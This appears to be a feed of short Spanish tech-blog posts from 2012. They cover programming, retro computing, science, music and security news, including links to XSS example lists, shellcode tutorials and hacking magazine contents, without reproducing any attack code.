• Guillaume Laforge (Groovy) - @glaforge
• Rasmus Lerdorf (PHP) - @rasmus
• Yukihiro Matsumoto (Ruby) - @yukihiro_matz
• Bertrand Meyer (Eiffel) - @Bertrand_Meyer
• Martin Odersky (Scala) - @odersky
• Ray Ozzie (@Formula) - @rozzie
• Simon Peyton Jones (Haskell) - @simonpj0
• Rob Pike (Go) - @rob_pike
• Casey Reas (Processing) - @REAS
• Carl Sassenrath (REBOL) - @rebol3
• James Strachan (Groovy) - @jstrachan
• Bjarne Stroustrup (C++) - @stroustrup
• Tim Sweeney (UnrealScript) - @6ix7even
• Guido van Rossum (Python) - @gvanrossum
• Larry Wall (Perl) - @TimToady
• John Warnock (PostScript) - @jewarnock
• Stephen Wolfram (Mathematica) - @stephen_wolfram

Además el creador de esta lista también ha creado una lista en twitter con todas estas cuentas, por si los quieres seguir a todos :)

Web original

 

Wim Mertens "The Great Outdoors", para este …

Wim Mertens

No se puede describir a Wim Mertens, hay que escucharlo.

Por cierto, lo veremos este día 22 de Mayo en Valencia en el teatro Olympia. 

Esta otra canción fue de las primeras que escuché:

Maximizing the audience

Los 100 discos que todo fan de la Ciencia Ficción …

Lista espectacular creada por la genial página web de Ciencia Ficción io9 donde recopilan los 100 discos que de una forma u otra, hablan o tienen referencias a temas de Ciencia Ficción. Los criterios para confeccionarla han sido preguntar a sus seguidores en Facebook obteniendo 423 sugerencias. Luego ellos también usaron el suyo propio además de no repetir un artista más de una vez (por ejemplo, no tener 10 discos de David Bowie).

Er docu der finde: La teoría de cuerdas - Parte 2

El júbilo de programar - Videotutoriales

Pues eso, más material del que nos gusta cortito y claro. Gran colección de vídeos sobre programación usando Java resolviendo problemas divertidos.

• JoC #28: Return of the object interaction
• JoC #27: Object interaction – a second look
• JoC #26: How to display text
• JoC #25: Dealing with errors
• JoC #24: Smoke and mirrors
• JoC #23: Animating the image
• JoC, Teacher Commentary 22: Tracing control flow
• JoC #22: Refactoring for good style
• JoC #21: Image manipulation – take two
• JoC #20: Image manipulation – first contact
• JoC #19: Class methods vs instance methods
• JoC #18: Bouncy balls with mouse input
• JoC #17: Bouncy coloured balls
• JoC #16: Adding a score counter
• JoC #15: Object interaction (first encounter)
• JoC #14: A first look at variables
• JoC #13: The structure of a class
• JoC #12: Fun with sound
• JoC #11: Make it your own
• JoC, Teacher Commentary 10: Motivation and reflection
• JoC #10: It’s done: Play the game!
• JoC #9: Snakes on a plane!
• JoC #8: Keeping your code clean
• JoC #7: Lettuce is good for you!
• JoC #6: Adding random behaviour
• JoC, Teacher Commentary 5: Early coding examples
• JoC #5: If statements
• JoC #4: Finally – some code!
• JoC, Teacher Commentary 3: Objects and classes
• JoC #3: Classes and objects
• The Joy of Code, #2: Installing Greenfoot
• The Joy of Code, #1: Introduction

Web original

Bing a lo retro

Ya os contamos el otro día sobre el buscador de Google en plan retro. Pues ahora le ha tocado el turno a Bing, el buscador de Microsoft. Creado por los mismos que crearon el de Google y usando la misma tecnología, pero evidentemente usando el API de Microsoft.

* mass:werk termlib.js[3] * Fixed Excelsior 3.00 Truetype Font[4] * API de Bing[5] * HTML5 * Javascript * CSS 

 

Lista de ataques Cross Site Scripting

Cross Site Scripting o XSS es una de las vulnerabilidades más devaluadas por parte de desarrolladores y administradores de sistemas. Quizás sea porque la típica prueba de concepto sea mostrar un mensajito en la pantalla (alert), pero herramientas como BeEF convierten este tipo de vulnarabilidades en muy peligrosas. De hecho en el Top 10 de vulnerabilidades del OWASP, ésta se encuentra en el número dos de la lista.

Quizás la web más conocida sobre ejemplos de ataques XSS sea la de ha.ckers, pero en esta entrada quería compartir esta otra lista de la web de vulnerability-lab.com, la cual, quizás, contenga más ejemplos que mencionada anteriormente.

Plantilla para el análisis forense de la memoria

En forensicmethods.com han creado una plantilla (PDF) o cheat sheet sobre el análisis forense de la memoria. Dicha plantilla está orientada al uso de la herramienta Volatility y el creador de la misma (Chad Tilbury), se basó en la clase sobre Análisis Forense de Windows (FOR408: Windows Forensics) impartida por SANS.

Muy buena para tenerla a mano.

Recopilación de documentación y manuales (incluido …

(NASA: Primera página del código fuente del módulo de comando del Apolo 11)

Espectacular sitio donde se recopila muchísima información técnica relacionada con los ordenadores y programas utilizados todos en el programa Gemini y Apolo. Desde tarjetas de referencia rápida de las misiones, manuales, guías, etc hasta incluso el plan de vuelo del Apolo 11. Por supuesto, también encontrarás código fuente de programas utilizados en los ordenadores de la época o incluso el código original utilizado en el módulo lunar del Apolo 11.

Una verdadera joya que no puedes perderte, digna de coleccionistas:

MicroHistorias: salvando “Prince of Persia” de una …

(Fotos: Wired)

Hoy vamos a hablar en nuestras MicroHistorias de un hecho reciente, la recuperación del fantástico clásico, el juego “Prince of Persia”,y de cómo un grupo de geeks lo han salvado de una muerte digital segura.

Ya comentamos en CyberHades que Jordan Mechner había encontrado, gracias a su padre, tres cajas con discos de 3,5” en ProDos con el código fuente de “Prince of Persia” y luego también comentamos en un post que lo había puesto a disposición del público.

Material de la conferencia ACK Security 2012 …

Desde este enlace (torrent) o este otro (descarga directa) puedes bajar todo el material más extras del evento ACK Security Conference que se celebró en Colombia del 26 al 30 marzo en la ciudad de Manizales. Aquí puedes ver la relación de ponentes.

No os perdáis el material disponible.

Web del evento

DragonJar

Hoy domingo por la mañana, Cut/Copy "Zonoscope"

Cut/Copy

Espectacular vídeo con imágenes de las misiones …

 

Todo son imágenes reales tomadas por las misiones Cassini y las Voyager, no te lo pierdas, son realmente alucinantes.

Creado por Sander Vvan den Berg y visto en io9.

GCHQ libera documentos de Alan Turing sobre como …

GCHQ (Agencia de Inteligencia Británica) ha liberado estos documentos que tienen 70 años y fueron escritos por uno de los mayores genios que ha dado la Humanidad, nuestro querido Alan Turing. Estos documentos son históricos, gracias a ellos los Aliados descifraron los mensajes alemanes de la Segunda Guerra Mundial y se salvaron miles o quizás millones de vidas.

Han salido a la luz en conmemoración al 2012 año de Alan Turing (como podéis ver en nuestro logo, nosotros lo celebramos, es lo menos que le debemos).

Pebble, un reloj hecho para el siglo XXI

Pebble es un reloj hecho para el siglo XXI. Así es como lo anuncian en su web.

Pebble es capaz de comunicarse con dispositivos Android o iPhone a través de bluetooth. Desde el mismo podemos leer las notificaciones que nos llegan al teléfono como emails, SMS (sólo Android), llamadas entrantes, alertas de calendario, mensajes de Facebook o Twitter, etc.

Este dispositivo además dispone de sus propias librerías con las cuales podemos programar nuestras propias aplicaciones, instalables desde nuestro teléfono. Como podemos ver en el siguiente vídeo, existen aplicaciones que se comunican con el GPS de tu terminal y a través del mismo provee información sobre velocidad, distancia recorrida, etc. Perfecto si montas en bici, corres, etc. Puedes incluso controlar la música de tu teléfono. Tiene su propio mercado de aplicaciones accesible desde tu Android o iPhone.

Er docu der finde: La teoría de cuerdas - Parte 1

Recomendado por @solonya

¿Te vas a poner el cortafuegos esta noche para …

Los cortafuegos o firewalls solían ser sistemas para proteger redes en las empresas, sus servidores, etc. Luego llegaron los cortafuegos personales hasta el punto que hoy día vienen integrados en el sistema operativo y ya hace tiempo, aunque no son muy populares todavía, empezaron a aparecer cortafuegos para teléfonos móviles.

Aquí no queda la cosa. Investigadores de las prestigiosas universidades de Princeton y Purdue, han creado un prototipo de cortafuego cuyo objetivo es el de proteger dispositivos médicos, tales como marcapasos, futuros implantes cerebrales que se están desarrollando actualmente, etc.

Presentaciones Hackito Ergo Sum 2012

Ya están disponibles algunas de las presentaciones de la tercera edición de Hackito Ergo Sum, evento celebrado los 12, 13 y 14 de abril de 2012.

• [Keynote #1] by Cedric Blancher /PDF Slides
• [Keynote #2] by Fyodor Yarochkin /PDF Slides
• [Keynote #3] by Marc “van Hauser” Heuse /PDF Slides
• [Lockpickito Ergo Sum] by Walter Bergers /PDF Slides
• ["Secure Password Managers" and "Military-Grade Encryption" on Smartphones: Oh Really?] by Andrey Belenko & Dmitry Sklyarov /PDF Slides
• [Hardware backdooring is practical] by Jonathan Brossard & Florentin Demetrescu /PDF Slides
• [Cryptographic Function Identification in Obfuscated Binary Programs] by Joan Calvet /PDF Slides
• [Recent Advances in IPv6 Security] by Fernando Gont /PDF Slides
• [Hacking the NFC credit cards for fun and debit ; )] by Renaud Lifchitz /PDF Slides
• ["The System of Automatic Searching for Vulnerabilities or how to use Taint Analysis to find security bugs"] by Nikita Tarakanov & Alex Bazhanyuk /PDF Slides
• [Exploiting a Coalmine: Abusing Complex Bugs in Webkit's RenderArena] by Georg Wicherski/PDF Slides

Fuente

 

Happy Birthday David! nuevo trailer viral de …

Espectacular, dando más interés aún al estreno de Prometeus.

David es un androide que aparece en la película.

Club Hack Mag #27

Acaba de publicarse un nuevo número de la Club Hack Magazine. Este número nos trae:

0x00 Tech Gyan - XSS – The Burning issue in Web Application 0x01 Tool Gyan - Sysinternals Suite 0x02 Mom’s Guide - Decoding ROT using the Echo and Tr Commands in your Linux Terminal 0x03 Legal Gyan - Provisions of Sec. 66B 0x04 Matriux Vibhag - How to enable WiFi on Matriux running inside VMWare 0x05 Code Gyan - Local File Inclusion 0x05 Poster -  http://chmag.in/poster/ apr2012/poster-month

Internet en 2020 (Infografía)

Fuente

Publica el código fuente de todos sus proyectos

Este es el caso de Hunter Davis, un desarrollador que ha decidido compartir el código fuente de todos sus proyectos, entre ellos sus más de 70 aplicaciones para Android.

Todo este material está disponible en su cuenta de Github. A la que cualquiera puede acceder. ¿Te has preguntado alguna vez que pinta tiene una aplicación para Android? Ahora tienes donde elegir.

Visto en Hack a day.

Ya puedes descargar el código fuente de "Prince of …

Ya os contamos que el creador de Prince of Persia había encontrado el código fuente del juego y anunciamos que tenía pinta según sus comentarios, de us intención de publicarlo y ponerlo a disposición de todos.

Bueno pues ya está publicado (coincidiendo con la celebración del cumpleaños de Apple II) y listo para echarle un vistazo a este trozo de la historia de los videojuegos y la Informática.

Puedes descargarlo desde aquí.

Visto en HackADay.

Cómo interpretar el lenguaje corporal (Infografía)

Fuente

Buscador de Google a lo retro

En muchas ocaciones echo de menos aquellos tiempos en los pasaba todo el día delante del ordenador intentando encontrar la forma de hacer trampa en los juegos (típicos pokes), o cuando tenía acceso a aquelles BBSs desde las que te podías bajar todo tipo de joyas.

Al ver esta página me hizo una vez más volver atrás y disfrutar de aquellos tiempos inolvidables.

GoogleBBS es una página desde la que podemos buscar información en Google, pero con una pinta totalmente retro. No es algo que sea muy útil, pero tiene todo el arte. Está escrita en HTML5 y javascript usando termlib.js (librería en javascript para emular un terminal). Las búsquedas en Google son reales y se hacen a través de la API de su motor de búsqueda.

Pretty Lights "Looking for Love (But Im Not …

Genial canción “Instrumental Hip-Hop” de Pretty Lights y no os perdáis la carátula del disco de Dan McPharlin:

Impresionante, como la canción.

[spotify:track:6q5KEI24rhhK2gMK3fhE0b]

Phrack Magazine #68

Después de año y medio de espera ya tenemos otro magnífico número de la revista electrónica sobre hacking por excelencia.

El contenido de este número 68 es:

• Introduction - The Phrack Staff
• Phrack Prophile on [CENSORED] - The Phrack Staff
• Phrack World News - TCLH
• Linenoise - various
• Loopback - The Phrack Staff
• Android Kernel Rootkit - dong-hoon you
• Happy Hacking - anonymous author
• Practical cracking of white-box implementations - sysk
• Single Process Parasite - Crossbower
• Pseudomonarchia jemallocum - argp & huku
• Infecting loadable kernel modules: kernel versions 2.6.x/3.0.x - styx^
• The Art of Exploitation: MS IIS 7.5 Remote Heap Overflow - redpantz
• The Art of Exploitation: Exploiting VLC, a jemalloc case study - huku & argp
• Secure Function Evaluation vs. Deniability in OTR and similar protocols - greg
• Similarities for Fun and Profit - Pouik & G0rfi3ld
• Lines in the Sand: Which Side Are You On in the Hacker Class War - anonymous author
• Abusing Netlogon to steal an Active Directory's secrets - the p1ckp0ck3t
• 25 Years of SummerCon - Shmeck - Shmeck
• International Scenes - various

La puedes descargar desde aquí

Nota: En estos momentos el .tar.gz no está disponible, pero puedes acceder a los artículos haciendo click en cada enlace.

Juega al PONG por turnos y otras 36 formas …

(Click en la imagen para jugar) 

Me reído bastante al ver estas versiones del clásico PONG para jugar online, ya que no tienen nada que ver con la versión original (aunque el aspecto y jugabilidad es la misma), como la opción (6) Turn Based Pong (Pong basado en turnos),  (O) Pong Sans Frotieres (Pong sin fronteras) o el (I) Epilepsy Pong (Pong epiléctico) que realmente son originales y divertidas.

Er docu der finde: La proporción áurea

Linux Tycoon, juego de simulación para crear …

Windows, Linux y Mac (pronto en Android y iOS)

Linux Tycoon es el primer "Linux Distribution Building Simulation Game", o sea, el primer juego de simulación para crear una distribución Linux.

WTF!, pues sí un juego donde el objetivo es crear una distribución Linux al más estilo Ubuntu o Red Hat. Tendrás que gestionar a tus programadores, contratarlos o buscar colaboradores, pensar bien tus decisiones sobre el software libre, etc e incluso podrás competir online con otros jugadores a ver quién consigue la mejor y más famosa Linux "distro" .

Así se fabrica un iPad (Vídeo)

Visto en Kotaku.

"Colocar el orbitador aquí. La parte negra para …

  (Foto NASA)

Eso es lo que dice el texto que puedes ver en la foto (que hemos visto en el artículo original de Microsiervos) de uno de los anclajes donde se situará el transbordador espacial Discovery para ser transportado al Centro Steven F. Udvar-Hazy (en el Museo Nacional del Aire) en Washington.

En concreto, el transporte lo realizará un Boeing 747 modificado (SCA) y el Discovery se colocará justo sobre él (aquí puedes ver una foto con el Atlantis colocado sobre un SCA):

Hack in the box #8

Ya podemos disfrutar de un nuevo número de la revista digital trimestral Hack In The Box. En su octavo número podemos encontrar el siguiente contenido:

• Internet Security
• The Exploit Distribution Mechanism in Browser Exploit Packs (04)
• by Aditya K Sood, Richard J Enbody and Rohit Bansal
• Windows Security
• The Story of CVE-2011-2018 exploitation (12)
• by Mateusz “j00ru” Jurczyk
• Network Security
• Reverse Shell Traffic Obfuscation (36)
• by Ben Toews
• CISSP Corner
• Jobs and Certifications. Looking at the 2012 Landscape (50)
• by Clement Dupuis
• From the Bookshelf
• Practical Malware Analysis (54)
• book by Michael Sikorski and Andrew Honig
• The Tangled Web (56)
• book by Michał Zalewski
• Book Review
• A Bug Hunter’s Diary (58)
• book by Tobias Klein, reviewed by Mateusz “j00ru” Jurczyk
• Internet Security (featured)
• Online Security at the Crossroads (60)
• by Jonathan Kent

Puedes bajar el PDF desde aquí.

Fuente

Simiocracia (de Aleix Saló)

Después del éxito cosechado por Españistán (5 MM de visitas en internet), Aleix Saló vuelve a la carga con “Simiocracia, Crónica de la Gran Resaca Económica”. En ella se explican con enorme claridad, y un sentido del humor muy fino, conceptos económicos y políticos de rabiosa actualidad.

Recomendado!!

Editado por DeBolsillo, sale a la venta mañana 12 de abril en librerías y tiendas online.

Plantillas de herramientas de programación para …

En la página hyperpoliglot.org de la que ya os hablamos hace tiempo, podemos encontrar ahora una sección de para herramientas de programación. La documentación recogida es muy útil especialmente para aquellos que trabajamos con más de una herramienta distinta.

La nueva sección está compuesta por:

Unix Shells:	Bash, Dash, Ksh, Tcsh, Zsh
Version Control:	Git, Mercurial
Tabular Data Selection:	SQL, Awk, Pig
Lightweight Markup	Mediawiki, Wikidot, Markdown, Asciidoc, Confluence
Computer Algebra Software:	Maxima, Pari/GP, Mathematica, Sage
Numerical Analysis Software:	Fortran, MATLAB, R, NumPy

Si no tenías esta página ya en tus favoritos ya estás tardando.

 

Como internet te está arruinando el cerebro …

Fuente

Terminal móvil

O Mobile shell (Mosh) es el nombre de este proyecto que clama ser una aplicaci’on de terminal remoto mejor que SSH. Es un proyecto libre disponible para GNU/Linux, FreeBSD y Mac OS X.

De entre sus características y/o mejoras sobre el todopoderoso SSH se encuentran:

• Conexión móvil. Esto te permite estar conectado al servidor permanentemente incluso si cambias de red, IP o trabajas con conexiones lentas en la que pierdes conectividad con la red. Más o menos lo que se conseguiría con la pareja de baile SSH-screen.
• Con Mosh, puedes poner tu sistema a dormir (sleep), despertarlo y no perder la sesión remota.
• Evita el retraso de red y por lo tanto mejora la interactividad usuario/terminal. En SSH cuando trabajamos con una conexión lenta y escribimos algo en el terminal puede tardar incluso varios segundos en aparecer. Esto es porque SSH, antes de aceptar lo que el usuario escribe espera respuesta del servidor.
• No necesitas ningún usuario con privilegios especiales para correr el cliente y/o el servidor.
• Usa la misma forma de login que SSH.
• Corre dentro de tu terminal y evita los problemas con Unicode ya que sólo implementa/soporta UTF-8.
• Control-C funciona siempre. Mosh no llena los buffers de red y por lo tanto la combinación de teclas Control-C siempre funciona. Este es otro problema que tiene SSH.

Mosh esta escrito sobre un protocolo llamado Sincronización de estado (State Synchronization Protocol o SSP). Este protocolo se implementa sobre UDP. Los datagramas son cifrados usando AES-128 en modo OCB. Mosh corre dos copias de SSP en ambas direcciones cliente-servidor (representa las teclas pulsadas) y servidor-cliente (representa el estado actual de la pantalla).

Si quieres probarlo, lo puedes bajar desde aquí. En la página oficial también tenemos una introducción de como usarlo, información técnica, etc.

Base de datos abierta de procesadores

Es un magnífico proyecto el que hospeda la Universidad de Stanford para investigadores y apasionados de los microprocesadores llamado CPU DB. El proyecto se basa principalmente en construir una base de datos abierta, con los datos no sólo actuales, sino también históricos sobre los microprocesadores comerciales. Perfecto para aquellos que quieran por ejemplo hacer un estudio sobre la tendencia de estos.

Puedes visualizar los datos desde el navegador o bajártelos en un archivo zip o tar.gz. El formato de los datos está en CSV.

La madurez de iOS y Android OS

Fuente

Ha fallecido otra leyenda de la informática, Jack …

(Historia de Commodore en este enlace)

Jack Tramiel ha fallecido a la edad de 83 años. Todos lo conocemos por ser el fundador de Commodore y luego de Atari Corporation en 1984. Comenzó fabricando máquinas de escribir y luego fundó Commodore International, donde fabricó (entre otros como el famoso PET) el ya mítico ordenador Commodore 64 y Commodore Amiga.

Gracias por acercarnos los ordenadores a todos cambiando nuestra vistas para siempre.

El nuevo juego del creador de Minecraft se basa en …

Pues sí, el juego llamado 0x10^c (elevado a "c") y se desarrolla en un universo de Ciencia Ficción donde un error en un ordenador hace hibernar en 1988 a toda la Humanidad hasta trillones de años en el futuro, cuando el Universo casi está desapareciendo. Tendrá batallas estelares contra la IA o incluso otros jugadores, etc, pero lo mejor es que todo el juego gira alrededor de un ordenador de 16 bits llamado DCPU-16 (el único sistema que había en 1988). Este ordenador está instalado en las naves espaciales de los jugadores  y cada una de ellas contiene un ordenador DCPU-16 totalmente funcional para controlar toda la nave y que tendremos que programar en lenguaje ensamblador.

Lectura para después de un fin de semana largo

Después de una Semana Santa de relajación (para algunos), es hora de darle movimiento a las neuronas con un poco de lectura técnica.

• Introducing Microsoft SQL Server 2012
• What is Dart?
• Impatient Perl
• Higher-Order Perl
• Sams Teach Yourself JavaScript in 24 Hours
• Fundamentals of Programming: With Object Orientated Programming (Python Edition)

Io frente a Júpiter

(click para ampliar, Foto NASA)

Io tiene 3.600 kilómetros de diámetro (lo cual no está mal y lo convierte en el satélite natural más grande del Sistema Solar) y está a 350.000 kilómetros de las nubes de Júpiter, casi la misma distancia entre la Tierra y la Luna. Esta fantástica foto tomada por la sonda Cassini muestra el tamaño relativo de Io comparado con Júpiter.

Imagina un cielo cubierto íntegramente por un inmenso planeta, así es como se vería Júpiter desde Io, realmente increible.

Domingo por la mañana, Saxon Shore …

Saxon Shore.

Er docu der finde: Biografía - Leonardo Da Vinci

Parte 1/5

Parte 2/5

Parte 3/5

Parte 4/5

Parte 5/5

La ira de los Angry Birds (Infografía)

Fuente

Accesos directos de teclado en Windows 8

Haz click en la imagen para verla más grande

Fuente

Retos sobre criptografía

Si te gustan los reotos criptográficos, en MTC3 (Mystery Twister C3) puedes encontrar más de 100 retos (128 en el momento que escribo esta entrada), más que suficientes para mantenerte distraído por un buen rato. Los retos están divididos en cuatro niveles: I, II, III y X. Los tres primeros van de más fácil a más difícil y el cuarto (X), son retos denominados misteriosos. Se denominan así, porque se desconoce su solución o incluso no se sabe si tienen solución.

UNIVersal Automatic Computer (Infografía)

Fuente

Daft Punk / Legend of Zelda Mash Up

Puedes conseguir la camiseta en MySoti por 25$.

Visto en RampageReality.

YouTube en DVD (genial broma del April Fool's Day)

Quizás la mejor broma del April fool’s day (después claro del Google Maps 8 bits).

Visto en un comentario en el blog de Chema (las otras que él pone el blog tampoco están mal).

57 programas que provocan errores en compiladores

No tengo clara la utilidad de estos programas que "paran" la compilación, dando error (creo que hay pocos errores en la Informática que desesperen más que uno en un compilador), pero una podría ser estudiar casos típicos en fallos de programación o incluso bugs en dichos compiladores. De hecho algunos de estos 57 programas se pueden compilar perfectamente en otros compiladores (o incluso en una versión superior del mismo), así que los errores suelen ser más bien bugs de uno en concreto.

Guardando la información de 5.000 discos de 3 1/2, …

Dwellers quería almacenar el contenido de sus 5.000 discos de 3 1/2 de su Commodore Amiga (tuxotron aún tiene que guardar por lo menos, 2.500 ;) ). Pero claro, hacerlo uno a uno es bastante monótono y pesado. Así que se puso manos a la obra para construir una máquina llamada Floppy Autoloader que automáticamente inserta un disco, almacena la información en un disco duro y hace una foto de la etiqueta del disquete. Él sólo tiene que cargar unas cajas de madera preparadas con los discos apilados y la máquina se encargará del resto.

Algunos hechos sobre cómo ligan los gamers …

Comienza la campaña de fraternización entre blogs, …

Ya os lo comentamos este pasado viernes en este post, pues ya está abierta la campaña para poder disfrutar de hasta un 25% en la adquisición de los libros siguientes de Informatica64:

1. DNI-e Tecnología y usos
2. Hacking y seguridad en comunicaciones móviles GSM/GPRS/UMTS/LTE
3. Hacking con buscadores: Google, Bing & Shodan
4. Microsoft Sharepoint 2010: Seguridad

Recuerda, la campaña empieza el lunes 2 de Abril a las 0:01 y terminando el Miércoles 4 de Abril a las 23:59. Esta oferta también la tienen otros blogs como Windows Técnico o Punto Compartido (por si te interesa otro libro que no está en nuestra oferta).

"Los grandes artistas copian, los genios roban", …

Hoy hace 36 años que se fundó Apple.

Este vídeo de 1994 (no es una broma de Abril) muestra un tablet con características muy reconocibles en este tipo de productos de todas las marcas, incluido el magnífico iPad de Apple.

Blanco y en botella ...

Google Maps 8bits

Genial, feliz April fool’s day.

Architecture in Helsinki, "Yr Go To" para este …

Y en Spotify:

[spotify:track:4x6UmW2xeGUMqQrihzGyoN]

Siempre geniales, Architecture in Hensilki.

Visualizando el código o cómo tendrían que se los …

[vimeo]http://vimeo.com/36579366[/vimeo]

En este vídeo de 54 minutos, Bret Victor (ha trabajado entre otros para Apple) nos muestra cómo tendrían que ser los entornos de programación (aunque no me cabe duda que esto será posible muy pronto). Es sólo un concepto pero llama bastante la atención y sobre todo, si has programado alguna vez, seguro que has pensado ¿dónde consigo ese IDE?

No te pierdas el vídeo, merece la pena echarle un vistazo.

El mínimo sistema que puede ejecutar Ubuntu, tarda …

No me preguntes para qué, pero Dmitry ha creado el que quizás sea el ordenador más lento en arrancar una distribución Linux, al menos tenemos el sistema Linux creado con las mínimas especificaciones posibles, eso sí tarda un poquito:

• 2 Horas para tener el prompt bash
• 4 Horas para cargar Ubuntu y el login

Bueno es normal al tratarse realmente de PC construido alrededor de un microcontrolador de 8bits CMOS, un ATMega1284p. Este microcontrolador sólo tiene 16KB (sí, kilobytes) de SRAM y 128 KB de almacenamiento corriendo a 6,5 KHz. ¿Entonces como consigue cargar toda una distribución Ubuntu?, bueno pues se lo ha currado bastante (aquí en su blog tienes toda la información del proyecto), por ejemplo, le ha conectado una SIMM de RAM vieja de 30 pines (las que llevaban los 80286) directamente al controlador y 1GB de la tarjeta SD hace las veces de disco duro.

Campaña de fraternización de blogs

Desde Informática 64 se ha comenzado una campaña de fraternización entre blogs con la que los lectores fieles podrán disfrutar de un descuento del 25% en la adquisición de ciertos libros técnicos.

La campaña tiene una fecha de duración de 3 días por blogs, CyberHades comenzará su campaña el lunes 2 de Abril a las 0:01 y terminando el Miércoles 4 de Abril a las 23:59. A partir del lunes se dispondrá en la web de un banner que incluye un código con el que se podrá adquirir el 25% de descuento en algunos libros, a descubrir el próximo lunes. Aunque podemos adelantar que serán 4 libros y aparecerán en el banner.

Er docu der finde: Guerreros cibernéticos

A principios de semana publicamos este mismo documental, pero en inglés y sin subtítulos, por lo que para el que no se lleve bien con el inglés, como dicen en mi tierra, es como tener un tío en Graná, ni tiene tío ni tiene ná. Pero gracias a un comentario que nos dejó Dongash, aquí tenéis una versión de dicho documental subtitulado en español.

iguanarock on livestream.com. Broadcast Live Free

El creador de "Prince of Persia" encuentra el …

(Esta es la caja real en la que se encontraba el código fuente)

Jordan Mechner es el creador de ese juego revolucionario llamado "Prince of Persia", creado originalmente para Apple II en 1989. Ha trabajado con Ubisoft para crear Prince of Persia 2: The Shadow and the Flame pero durante ese recorrido de 23 años, el código fuente del primer Prince of Persia se perdió.

¿Escribes código seguro? (Infografía)

Fuente

El PDF (Infografía)

Fuente

Reclamación a Renfe (Como debe de ser)

Todos hemos sufrido los innumerables retrasos de los servicios de Renfe, sobre todo en las líneas de Cercanías.

Pues bien, SirMajuelo decidió no continuar soportando estos retrasos y tomó cartas en el asunto presentando una reclamación en condiciones a Renfe haciéndoles a los jerifaltes de este negociete unas recomendaciones que no tienen desperdicio. LOL

Visto en akihabarablues

Máquina Enigma hecha con una hoja de cálculo

Impresionante simulador de máquina Enigma creado con una hoja de cálculo a base de fórmulas. En este vídeo puedes ver una pequeña demostración de como funciona:

Si quieres jugar con ella, la puedes descargar desde aquí.

Entrada original

Tutoriales sobre como escribir shellcodes

De acuerdo con la wikipedia:

Una shellcode es un conjunto de órdenes programadas generalmente en lenguaje ensamblador y trasladadas a opcodes que suelen ser inyectadas en la pila (o stack) de ejecución de un programa para conseguir que la máquina en la que reside se ejecute la operación que se haya programado.

El término shellcode deriva de su propósito general, esto era una porción de un exploit utilizada para obtener una shell. Este es actualmente el propósito más común con que se utilizan…

Normalmente uno no se suele crear sus propios shellcodes y se suele acudir a sitios como shell-storm dónde tienen shellcodes para todos los gustos, sistemas y tamaños (en este caso suele importar).

Caliéntate el café con tu iPad

Ya prácticamente nada me sorprende sobre las aplicaciones que podemos encontrar para dispositivos móviles. La razón de esta entrada es esta aplicación llamada hotpad. Lo que hace esta aplicación usar la cpu del iPad al 100% para que se ponga calentito :) y así poner sobre la pantalla del mismo nuestra taza de café para que se caliente o se mantenga caliente. De la misma forma podríamos calentar cualquier otra cosa.

Los mejores juegos para Linux

Una de las razones por la que muchos usuarios se mantienen alejados de sistemas Linux, son los juegos.

En este campo Microsoft, dejando de lado a las vídeo consolas, es incontestable, pero también es verdad que cada vez se hacen más juegos para la plataforma del pingüino y de buena calidad. Para muestra, esta web dónde podemos ver un gran repertorio de juegos para todos los gustos. Incluso los tienen clasificados por gratis, de pago, fuente abierta y cerrada.

Web Warriors

Aunque hoy es lunes aquí os dejo un documental que vi la semana pasada y me pareció muy sencillo de seguir y entender. Si estuviera en español o al menos subtítulos lo habría publicado en nuestra sección de Er docu der finde.

El documental empieza hablando sobre Blaster y da un repaso a los mayores acontecimientos, en lo que a seguridad se refiere, vividos en los últimos años y en la importancia de tomarse la seguridad muy serio en los tiempos que corre. Es muy ameno y educativo, aunque nada técnico.

Skype 5.5 versión sin ofuscar publicada

En la web http://skype-open-source.blogspot.com/ han pulicado una versión no ofuscada de la versión 5.5 de Skype, junto con una base de datos IDA Pro (require una versión superior a la versión gratuita 5.0) con el desensamblado del binario.

Esto es una gran noticia, ya que implica que otras aplicaciones podrían proveer integración con el mismo. Aunque para cuando esto ocurra, Microsoft probablemente ya tenga alguna forma de bloquear el acceso a la red Skype desde cualquier aplicación que no sea la oficial.

Circadian Eyes: The Days of Snow, aunque estemos …

"The Days of Snow", Circadian Eyes en el minuto 1:31 empieza la Primavera ;)

Libro del MIT para descargar: Matemáticas para la …

Revisado el 22 de Marzo de 2012, este libro de Eric Lehman (Google), F. Thomson Leighton (Departamento IA del MIT) y Albert R. Meyer (Departamento IA del MIT) nos explica como usar modelos matemáticos y métodos para analizar problemas en Informática. 

Muy técnico y muy bien explicado con bastantes ejemplos, este libro creo que tenemos que echarle un buen vistazo a fondo.

Puedes descargarlo desde aquí.

HTML Examples, ejemplos de código HTML

(Imagen Wikipedia)

A estas alturas ya todos conocéis en más o menos profundidad el lenguaje de marcado HTML (base de todas las páginas web de Internet), pero nunca viene mal tener a mano una web donde nos muestren ejemplos de código fuente más frecuentes (como enlaces, imágenes, formateo de texto, etc) y el resultado de su ejecución.

En la web de w3schools.com, puedes encontrar este genial enlace llamado HTML Examples, en el cual puedes ver una gran variedad de ejemplos que pasamos a listar:

Haz click abajo para ver el listado completo de ejemplos que nos ofrecen:

Chuck Norris VS PacMan

Blood & Chrome, la vuelta de Battlestar Galactica

Syfy vuelve a la carga, y esta vez con algo que nos va a gustar: una precuela de Battlestar Galactica situada en el décimo año de la 1ª guerra Cylon.

La acción se centra en un joven William Adama de 20 años, recientemente graduado de la academia y asignado a Galactica, la nueva nave de guerra de las doce colonias.

Aquí os dejo la premier…

Visto en ALT1040

Er docu der finde: La ciencia de la vigilancia

Personajes de TV en LEGO, pero con estilo …

Seguro que reconoces estos personajes de TV realizados con mínimas piezas de LEGO (puedes ver más en el artículo original de TheFireWire):

 Pulsa  para ver la solución:

Déjà Dub, herramienta de backup para Linux

Imágen de GeeksZone

Linux

      Escuchando el podcast número 33 de DaboBlog (gracias Dabo por invertir tu tiempo en esos magníficos podcast), Forat habla de esta aplicación, Déjà Dub que ya llevo tiempo utilizando y es una maravilla para realizar backups de todo tipo. No es que sea nueva pero se ha actualizado hasta llegar a integrar funciones como la copia de seguridad en la nube, en concreto usando Ubuntu One ó Amazon S3.

      En el nuevo Ubuntu 11.10 ya viene por defecto y es una utilidad espectacular para realizar copias de seguridad incluso del sistema (ya que tiene la opción "restore" para dejarlos luego tal y como estaban antes de la copia). Permite cifrado, automatización, copia incremental y luego podemos enviarla al dispositivo que queramos (incluyendo la opción de la nube que hemos comentado antes) y además se integra perfectamente con el escritorio Gnome.

Si no lo tienes en tu sistema, siempre puedes instalarlo con un apt-get (o como instale tu sistema las aplicaciones):

